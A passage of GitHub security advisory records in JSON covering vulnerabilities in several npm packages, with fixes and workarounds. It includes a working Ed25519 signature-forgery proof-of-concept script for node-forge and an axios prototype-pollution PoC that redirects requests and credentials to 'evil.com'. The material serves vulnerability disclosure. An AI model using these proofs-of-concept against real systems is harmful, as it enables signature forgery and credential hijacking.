1M references \u2192 5,000,000 char output, ~147MB memory consumed\n- Even with `maxTotalExpansions=10` and `maxExpandedLength=100`, 10K references produce 50,000 chars\n- Hex entities (`\u0026#x41;`) exhibit the same bypass\n\n## Impact\n\n**Denial of Service** \u2014 An attacker who can provide XML input to applications using fast-xml-parser can cause:\n- Excessive memory allocation (147MB+ for 1M entity references)\n- CPU consumption during regex replacement\n- Potential process crash via OOM\n\nThis is particularly dangerous because the application developer may have explicitly configured strict entity expansion limits believing they are protected, while numeric entities silently bypass all of them.\n\n## Suggested Fix\n\nApply the same `entityExpansionCount` and `currentExpandedLength` tracking to the `lastEntities` loop (lines 674-677) and the HTML entities loop (lines 680-686), similar to how DOCTYPE entities are tracked at lines 638-670.\n\n## Workaround\n\nSet `htmlEntities:false`",
  "id": "GHSA-8gc5-j5rx-235r",
  "modified": "2026-03-25T14:31:39Z",
  "published": "2026-03-17T19:45:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-8gc5-j5rx-235r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33036"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/bd26122c838e6a55e7d7ac49b4ccc01a49999a01"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v4.5.5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.5.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "fast-xml-parser affected by numeric entity expansion bypassing all entity expansion limits (incomplete fix for CVE-2026-26278)"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "node-forge"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33895"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-26T22:04:41Z",
    "nvd_published_at": "2026-03-27T21:17:26Z",
    "severity": "HIGH"
  },
  "details": "## Summary\nEd25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (`S \u003e= L`). A valid signature and its `S + L` variant both verify in forge, while Node.js `crypto.verify` (OpenSSL-backed) rejects the `S + L` variant, [as defined by the specification](https://datatracker.ietf.org/doc/html/rfc8032#section-8.4). This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see [CVE-2026-25793](https://nvd.nist.gov/vuln/detail/CVE-2026-25793), [CVE-2022-35961](https://nvd.nist.gov/vuln/detail/CVE-2022-35961)). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed.\n\n## Impacted Deployments\n**Tested commit:** `8e1d527fe8ec2670499068db783172d4fb9012e5`\n**Affected versions:** tested on v1.3.3 (latest release) and all versions since Ed25519 was implemented.\n\n**Configuration assumptions:**\n- Default forge Ed25519 verify API path (`ed25519.verify(...)`).\n\n\n## Root Cause\nIn `lib/ed25519.js`, `crypto_sign_open(...)` uses the signature\u0027s last 32 bytes (`S`) directly in scalar multiplication:\n\n```javascript\nscalarbase(q, sm.subarray(32));\n```\n\nThere is no prior check enforcing `S \u003c L` (Ed25519 group order). As a result, equivalent scalar classes can pass verification, including a modified signature where `S := S + L (mod 2^256)` when that value remains non-canonical. The PoC demonstrates this by mutating only the S half of a valid 64-byte signature.\n\n## Reproduction Steps\n- Use Node.js (tested with `v24.9.0`) and clone `digitalbazaar/forge` at commit `8e1d527fe8ec2670499068db783172d4fb9012e5`.\n- Place and run the PoC script (`poc.js`) with `node poc.js` in the same level as the `forge` folder.\n- The script generates an Ed25519 keypair via forge, signs a fixed message, mutates the signature by adding Ed25519 order L to S (bytes 32..63), and verifies both original and tweaked signatures with forge and Node/OpenSSL (`crypto.verify`).\n- Confirm output includes:\n\n```json\n{\n\t\"forge\": {\n\t\t\"original_valid\": true,\n\t\t\"tweaked_valid\": true\n\t},\n\t\"crypto\": {\n\t\t\"original_valid\": true,\n\t\t\"tweaked_valid\": false\n\t}\n}\n```\n\n## Proof of Concept\n\n**Overview:**\n- Demonstrates a valid control signature and a forged (S + L) signature in one run.\n- Uses Node/OpenSSL as a differential verification baseline.\n- Observed output on tested commit:\n\n```text\n{\n    \"forge\": {\n        \"original_valid\": true,\n        \"tweaked_valid\": true\n    },\n    \"crypto\": {\n        \"original_valid\": true,\n        \"tweaked_valid\": false\n    }\n}\n```\n\n\u003cdetails\u003e\u003csummary\u003epoc.js\u003c/summary\u003e\n\n```javascript\n#!/usr/bin/env node\n\u0027use strict\u0027;\n\nconst path = require(\u0027path\u0027);\nconst crypto = require(\u0027crypto\u0027);\nconst forge = require(\u0027./forge\u0027);\nconst ed = forge.ed25519;\n\nconst MESSAGE = Buffer.from(\u0027dderpym is the coolest man alive!\u0027);\n\n// Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032).\nconst ED25519_ORDER_L = Buffer.from([\n  0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,\n  0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,\n]);\n\n// For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature.\n// This returns a new signature with s := s + L (mod 2^256), plus the carry.\nfunction addLToS(signature) {\n  if (!Buffer.isBuffer(signature) || signature.length !== 64) {\n    throw new Error(\u0027signature must be a 64-byte Buffer\u0027);\n  }\n  const out = Buffer.from(signature);\n  let carry = 0;\n  for (let i = 0; i \u003c 32; i++) {\n    const idx = 32 + i; // s starts at byte 32 in the 64-byte signature.\n    const sum = out[idx] + ED25519_ORDER_L[i] + carry;\n    out[idx] = sum \u0026 0xff;\n    carry = sum \u003e\u003e 8;\n  }\n  return { sig: out, carry };\n}\n\nfunction toSpkiPem(publicKeyBytes) {\n  if (publicKeyBytes.length !== 32) {\n    throw new Error(\u0027publicKeyBytes must be 32 bytes\u0027);\n  }\n  // Builds an ASN.1 SubjectPublicKeyInfo for Ed25519 (RFC 8410) and returns PEM.\n  const oidEd25519 = Buffer.from([0x06, 0x03, 0x2b, 0x65, 0x70]);\n  const algId = Buffer.concat([Buffer.from([0x30, 0x05]), oidEd25519]);\n  const bitString = Buffer.concat([Buffer.from([0x03, 0x21, 0x00]), publicKeyBytes]);\n  const spki = Buffer.concat([Buffer.from([0x30, 0x2a]), algId, bitString]);\n  const b64 = spki.toString(\u0027base64\u0027).match(/.{1,64}/g).join(\u0027\\n\u0027);\n  return `-----BEGIN PUBLIC KEY-----\\n${b64}\\n-----END PUBLIC KEY-----\\n`;\n}\n\nfunction verifyWithCrypto(publicKey, message, signature) {\n  try {\n    const keyObject = crypto.createPublicKey(toSpkiPem(publicKey));\n    const ok = crypto.verify(null, message, keyObject, signature);\n    return { ok };\n  } catch (error) {\n    return { ok: false, error: error.message };\n  }\n}\n\nfunction toResult(label, original, tweaked) {\n  return {\n    [label]: {\n      original_valid: original.ok,\n      tweaked_valid: tweaked.ok,\n    },\n  };\n}\n\nfunction main() {\n  const kp = ed.generateKeyPair();\n  const sig = ed.sign({ message: MESSAGE, privateKey: kp.privateKey });\n  const ok = ed.verify({ message: MESSAGE, signature: sig, publicKey: kp.publicKey });\n  const tweaked = addLToS(sig);\n  const okTweaked = ed.verify({\n    message: MESSAGE,\n    signature: tweaked.sig,\n    publicKey: kp.publicKey,\n  });\n  const cryptoOriginal = verifyWithCrypto(kp.publicKey, MESSAGE, sig);\n  const cryptoTweaked = verifyWithCrypto(kp.publicKey, MESSAGE, tweaked.sig);\n  const result = {\n    ...toResult(\u0027forge\u0027, { ok }, { ok: okTweaked }),\n    ...toResult(\u0027crypto\u0027, cryptoOriginal, cryptoTweaked),\n  };\n  console.log(JSON.stringify(result, null, 2));\n}\n\nmain();\n```\n\u003c/details\u003e\n\n## Suggested Patch\nAdd strict canonical scalar validation in Ed25519 verify path before scalar multiplication. (Parse S as little-endian 32-byte integer and reject if `S \u003e= L`).\n\nHere is a patch we tested on our end to resolve the issue, though please verify it on your end:\n\n```diff\nindex f3e6faa..87eb709 100644\n--- a/lib/ed25519.js\n+++ b/lib/ed25519.js\n@@ -380,6 +380,10 @@ function crypto_sign_open(m, sm, n, pk) {\n     return -1;\n   }\n\n+  if(!_isCanonicalSignatureScalar(sm, 32)) {\n+    return -1;\n+  }\n+\n   for(i = 0; i \u003c n; ++i) {\n     m[i] = sm[i];\n   }\n@@ -409,6 +413,21 @@ function crypto_sign_open(m, sm, n, pk) {\n   return mlen;\n }\n\n+function _isCanonicalSignatureScalar(bytes, offset) {\n+  var i;\n+  // Compare little-endian scalar S against group order L and require S \u003c L.\n+  for(i = 31; i \u003e= 0; --i) {\n+    if(bytes[offset + i] \u003c L[i]) {\n+      return true;\n+    }\n+    if(bytes[offset + i] \u003e L[i]) {\n+      return false;\n+    }\n+  }\n+  // S == L is non-canonical.\n+  return false;\n+}\n+\n function modL(r, x) {\n   var carry, i, j, k;\n   for(i = 63; i \u003e= 32; --i) {\n```\n\n## Resources\n\n- RFC 8032 (Ed25519): https://datatracker.ietf.org/doc/html/rfc8032#section-8.4\n  - \u003e Ed25519 and Ed448 signatures are not malleable due to the verification check that decoded S is smaller than l\n\n\n## Credit\n\nThis vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.",
  "id": "GHSA-q67f-28xg-22rw",
  "modified": "2026-03-27T21:51:06Z",
  "published": "2026-03-26T22:04:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-q67f-28xg-22rw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-35961"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25793"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33895"
    },
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/commit/bdecf11571c9f1a487cc0fe72fe78ff6dfa96b85"
    },
    {
      "type": "WEB",
      "url": "https://datatracker.ietf.org/doc/html/rfc8032#section-8.4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/digitalbazaar/forge"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Forge has signature forgery in Ed25519 due to missing S \u003e L check"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.7.8"
      },
      "package": {
        "ecosystem": "npm",
        "name": "handlebars"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.7.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-29T15:16:37Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "## Summary\n\nIn `lib/handlebars/runtime.js`, the `container.lookup()` function uses `container.lookupProperty()` as a gate check to enforce prototype-access controls, but then discards the validated result and performs a second, unguarded property access (`depths[i][name]`). This Time-of-Check Time-of-Use (TOCTOU) pattern means the security check and the actual read are decoupled, and the raw access bypasses any sanitization that `lookupProperty` may perform.\n\nOnly relevant when the **compat** compile option is enabled (`{compat: true}`), which activates `depthedLookup` in `lib/handlebars/compiler/javascript-compiler.js`.\n\n## Description\n\nThe vulnerable code in `lib/handlebars/runtime.js` (lines 137\u2013144):\n\n```javascript\nlookup: function (depths, name) {\n  const len = depths.length;\n  for (let i = 0; i \u003c len; i++) {\n    let result = depths[i] \u0026\u0026 container.lookupProperty(depths[i], name);\n    if (result != null) {\n      return depths[i][name];  // BUG: should be `return result;`\n    }\n  }\n},\n```\n\n`container.lookupProperty()` (lines 119\u2013136) enforces `hasOwnProperty` checks and `resultIsAllowed()` prototype-access controls. However, `container.lookup()` only uses `lookupProperty` as a boolean gate \u2014 if the gate passes (`result != null`), it then performs an independent, raw `depths[i][name]` access that circumvents any transformation or wrapped value that `lookupProperty` may have returned.\n\n## Workarounds\n\n- Avoid enabling `{ compat: true }` when rendering templates that include untrusted data.\n- Ensure context data objects are plain JSON (no Proxies, no getter-based accessor properties).",
  "id": "GHSA-442j-39wm-28r2",
  "modified": "2026-03-29T15:16:37Z",
  "published": "2026-03-29T15:16:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-442j-39wm-28r2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/handlebars-lang/handlebars.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Handlebars.js has a Property Access Validation Bypass in container.lookup"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.0.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@hapi/content"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35213"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-04T04:23:03Z",
    "nvd_published_at": "2026-04-06T21:16:20Z",
    "severity": "HIGH"
  },
  "details": "All versions of `@hapi/content` through 6.0.0 are vulnerable to Regular Expression Denial of Service (ReDoS) via crafted HTTP header values. Three regular expressions used to parse `Content-Type` and `Content-Disposition` headers contain patterns susceptible to catastrophic backtracking. This has been fixed in v6.0.1.\n\n### Impact\n\nDenial of Service. An unauthenticated remote attacker can cause a Node.js process to become unresponsive by sending a single HTTP request with a maliciously crafted header value.\n\n### Patches\n\nFixed by tightening all three regular expressions to eliminate backtracking.\n\n### Workarounds\n\nThere are no known workarounds. Upgrade to the patched version.",
  "id": "GHSA-jg4p-7fhp-p32p",
  "modified": "2026-04-24T13:43:15Z",
  "published": "2026-04-04T04:23:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/hapijs/content/security/advisories/GHSA-jg4p-7fhp-p32p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35213"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hapijs/content/pull/38"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/hapijs/content"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "@hapi/content: Regular Expression Denial of Service (ReDoS) in HTTP header parsing"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.3.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "dompurify"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-03T03:45:08Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\nWhen `USE_PROFILES` is enabled, DOMPurify rebuilds `ALLOWED_ATTR` as a plain array before populating it with the requested allowlists. Because the sanitizer still looks up attributes via `ALLOWED_ATTR[lcName]`, any `Array.prototype` property that is polluted also counts as an allowlisted attribute. An attacker who can set `Array.prototype.onclick = true` (or a runtime already subject to prototype pollution) can thus force DOMPurify to keep event handlers such as `onclick` even when they are normally forbidden. The provided PoC sanitizes `\u003cimg onclick=...\u003e` with `USE_PROFILES` and adds the sanitized output to the DOM; the polluted prototype allows the event handler to survive and execute, turning what should be a blocklist into a silent XSS vector.\n\n## Impact\nPrototype pollution makes DOMPurify accept dangerous event handler attributes, which bypasses the sanitizer and results in DOM-based XSS once the sanitized markup is rendered.\n\n## Credits\nIdentified by Cantina\u2019s Apex (https://www.cantina.security).",
  "id": "GHSA-cj63-jhhr-wcxv",
  "modified": "2026-05-29T21:46:57Z",
  "published": "2026-04-03T03:45:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-cj63-jhhr-wcxv"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cure53/DOMPurify"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/releases/tag/3.3.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "DOMPurify USE_PROFILES prototype pollution allows event handlers"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.15.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42264"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T00:18:38Z",
    "nvd_published_at": "2026-05-08T04:16:20Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nFive config properties in the HTTP adapter are read via direct property access without `hasOwnProperty` guards, making them exploitable as prototype pollution gadgets. When `Object.prototype` is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request.\n\n## Affected Properties\n\n1. **`config.auth`** (`lib/adapters/http.js` line 617)  Injects attacker-controlled `Authorization` header on all requests.\n2. **`config.baseURL`** (`lib/helpers/resolveConfig.js` line 18) Redirects all requests using relative URLs to an attacker-controlled server.\n3. **`config.socketPath`** (`lib/adapters/http.js` line 669) Redirects requests to internal Unix sockets (e.g. Docker daemon).\n4. **`config.beforeRedirect`** (`lib/adapters/http.js` line 698) Executes attacker-supplied callback during HTTP redirects.\n5. **`config.insecureHTTPParser`** (`lib/adapters/http.js` line 712) Enables Node.js insecure HTTP parser on all requests.\n\n## Proof of Concept\n\n```javascript\nconst axios = require(\u0027axios\u0027);\n\n// Prototype pollution from a vulnerable dependency in the same process\nObject.prototype.auth = { username: \u0027attacker\u0027, password: \u0027exfil\u0027 };\nObject.prototype.baseURL = \u0027https://evil.com\u0027;\n\nawait axios.get(\u0027/api/users\u0027);\n// Request is sent to: https://evil.com/api/users\n// With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw=\n// Attacker receives both the request and injected credentials\n```\n\n## Impact\n\n- **Credential injection:** Every axios request includes an attacker-controlled `Authorization` header, leaking request contents to any server that logs auth headers.\n- **Request hijacking:** All requests using relative URLs are silently redirected to an attacker-controlled server.\n- **SSRF:** Requests can be redirected to internal Unix sockets, enabling container escape in Docker environments.\n- **Code execution:** Attacker-supplied functions execute during HTTP redirects.\n- **Parser weakening:** Insecure HTTP parser enabled on all requests, enabling request smuggling.\n\n## Root Cause\n\n`mergeConfig()` iterates `Object.keys({...config1, ...config2})`, which only returns own properties. When neither the defaults nor the user config sets these properties, they are absent from the merged config. The HTTP adapter then reads them via direct property access (`config.auth`, `config.socketPath`, etc.), which traverses the prototype chain and picks up polluted values.\n\nThe `own()` helper at `lib/adapters/http.js` line 336 exists and guards 8 other properties (`data`, `lookup`, `family`, `httpVersion`, `http2Options`, `responseType`, `responseEncoding`, `transport`) from this exact attack. The 5 properties listed above are not included in this protection.\n\n## Suggested Fix\n\nApply the existing `own()` helper to all affected properties:\n\n```javascript\nconst configAuth = own(\u0027auth\u0027);\nif (configAuth) {\n  const username = configAuth.username || \u0027\u0027;\n  const password = configAuth.password || \u0027\u0027;\n  auth = username + \u0027:\u0027 + password;\n}\n```\n\nSame pattern for `socketPath`, `beforeRedirect`, `insecureHTTPParser`, and a `hasOwnProperty` check for `baseURL` in `resolveConfig.js`.",
  "id": "GHSA-q8qp-cvcw-x6jj",
  "modified": "2026-05-12T13:28:40Z",
  "published": "2026-05-05T00:18:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42264"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/10779"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/47915144662f2733e6c051bdcb895a8c8f0586aa"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v1.15.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Axios has prototype pollution read-side gadgets in HTTP adapter that allow credential injection and request hijacking"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "picomatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "picomatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "picomatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33672"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-25T21:13:39Z",
    "nvd_published_at": "2026-03-26T22:16:30Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\npicomatch is vulnerable to a **method injection vulnerability (CWE-1321)** affecting the `POSIX_REGEX_SOURCE` object. Because the object inherits from `Object.prototype`, specially crafted POSIX bracket expressions (e.g., `[[:constructor:]]`) can reference inherited method names. These methods are implicitly converted to strings and injected into the generated regular expression.\n\nThis leads to **incorrect glob matching behavior (integrity impact)**, where patterns may match unintended filenames. The issue does **not enable remote code execution**, but it can cause security-relevant logic errors in applications that rely on glob matching for filtering, validation, or access control.\n\nAll users of affected `picomatch` versions that process untrusted or user-controlled glob patterns are potentially impacted.\n\n### Patches\n\nThis issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.\n\nUsers should upgrade to one of these versions or later, depending on their supported release line.\n\n### Workarounds\n\nIf upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch.\n\nPossible mitigations include:\n- Sanitizing or rejecting untrusted glob patterns, especially those containing POSIX character classes like `[[:...:]]`.\n- Avoiding the use of POSIX bracket expressions if user input is involved.\n- Manually patching the library by modifying `POSIX_REGEX_SOURCE` to use a null prototype:\n\n  ```js\n  const POSIX_REGEX_SOURCE = {\n    __proto__: null,\n    alnum: \u0027a-zA-Z0-9\u0027,\n    alpha: \u0027a-zA-Z\u0027,\n    // ... rest unchanged\n  };\n  \n### Resources\n\n- fix for similar issue: https://github.com/micromatch/picomatch/pull/144\n- picomatch repository https://github.com/micromatch/picomatch",
  "id": "GHSA-3v7f-55p6-f55p",
  "modified": "2026-03-27T21:36:24Z",
  "published": "2026-03-25T21:13:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-3v7f-55p6-f55p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33672"
    },
    {
      "type": "WEB",
      "url": "https://github.com/micromatch/picomatch/commit/4516eb521f13a46b2fe1a1d2c9ef6b20ddc0e903"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/micromatch/picomatch"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Picomatch: Method Injection in POSIX Character Classes causes incorrect Glob Matching"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.15.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.31.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42033"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T00:26:29Z",
    "nvd_published_at": "2026-04-24T18:16:29Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nWhen `Object.prototype` has been polluted by any co-dependency with keys that axios reads without a `hasOwnProperty` guard, an attacker can (a) silently intercept and modify every JSON response before the application sees it, or (b) fully hijack the underlying HTTP transport, gaining access to request credentials, headers, and body. The precondition is prototype pollution from a separate source in the same process -- lodash \u003c 4.17.21, or any of several other common npm packages with known PP vectors. The two gadgets confirmed here work independently.\n\n---\n\n## Background: how mergeConfig builds the config object\n\nEvery axios request goes through `Axios._request` in [`lib/core/Axios.js#L76`](https://github.com/axios/axios/blob/v1.13.6/lib/core/Axios.js#L76):\n\n```js\nconfig = mergeConfig(this.defaults, config);\n```\n\nInside `mergeConfig`, the merged config is built as a plain `{}` object ([`lib/core/mergeConfig.js#L20`](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L20)):\n\n```js\nconst config = {};\n```\n\nA plain `{}` inherits from `Object.prototype`. `mergeConfig` only iterates `Object.keys({ ...config1, ...config2 })` ([line 99](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L99)), which is a spread of own properties. Any key that is absent from both `this.defaults` and the per-request config will never be set as an own property on the merged config. Reading that key later on the merged config falls through to `Object.prototype`. That is the root mechanism behind all gadgets below.\n\n---\n\n## Gadget 1: parseReviver -- response tampering and exfiltration\n\n**Introduced in:** v1.12.0 (commit 2a97634, PR #5926)\n**Affected range:** \u003e= 1.12.0, \u003c= 1.13.6\n\n### Root cause\n\nThe default `transformResponse` function calls [`JSON.parse(data, this.parseReviver)`](https://github.com/axios/axios/blob/v1.13.6/lib/defaults/index.js#L124):\n\n```js\nreturn JSON.parse(data, this.parseReviver);\n```\n\n`this` is the merged config. `parseReviver` is not present in `defaults` and is not in the `mergeMap` inside `mergeConfig`. It is never set as an own property on the merged config. Accessing `this.parseReviver` therefore walks the prototype chain.\n\nThe call fires by default on every string response body because [`lib/defaults/transitional.js#L5`](https://github.com/axios/axios/blob/v1.13.6/lib/defaults/transitional.js#L5) sets:\n\n```js\nforcedJSONParsing: true,\n```\n\nwhich activates the JSON parse path unconditionally when `responseType` is unset.\n\n`JSON.parse(text, reviver)` calls the reviver for every key-value pair in the parsed result, bottom-up. The reviver\u0027s return value is what the caller receives. An attacker-controlled reviver can both observe every key-value pair and silently replace values.\n\nThere is no interaction with `assertOptions` here. The `assertOptions` call in `Axios._request` ([line 119](https://github.com/axios/axios/blob/v1.13.6/lib/core/Axios.js#L119)) iterates `Object.keys(config)`, and since `parseReviver` was never set as an own property, it is not in that list. Nothing validates or invokes the polluted function before `transformResponse` does.\n\n### Verification: own-property check\n\n```js\nimport { createRequire } from \u0027module\u0027;\nconst require = createRequire(import.meta.url);\nconst mergeConfig = require(\u0027./lib/core/mergeConfig.js\u0027).default;\nconst defaults = require(\u0027./lib/defaults/index.js\u0027).default;\n\nconst merged = mergeConfig(defaults, { url: \u0027/test\u0027, method: \u0027get\u0027 });\nconsole.log(Object.prototype.hasOwnProperty.call(merged, \u0027parseReviver\u0027)); // false\nconsole.log(merged.parseReviver); // undefined (no pollution)\n\nObject.prototype.parseReviver = function(k, v) 